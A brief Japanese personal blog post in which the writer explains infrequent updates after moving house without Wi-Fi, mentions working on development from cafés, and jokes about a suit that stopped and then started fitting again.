前まではブログも頻繁に更新していたのだけど、新居に引っ越してからまだWi-Fiが開通してないのもあってのんびりブログを書く時間がないのである(日中はカフェに行ってWi-Fiに繋いで開発を進めている)

本当はもっと大なり小なり報告することがあるのだけど(入学式のときに買ったスーツが去年の内定式のとき太ったせいで着れず新しいスーツをユニクロで買ったけど最近痩せて元のスーツが着れるようになった話とか)、それらについてはTwitterを見守っててくださいという具合で。

ではでは。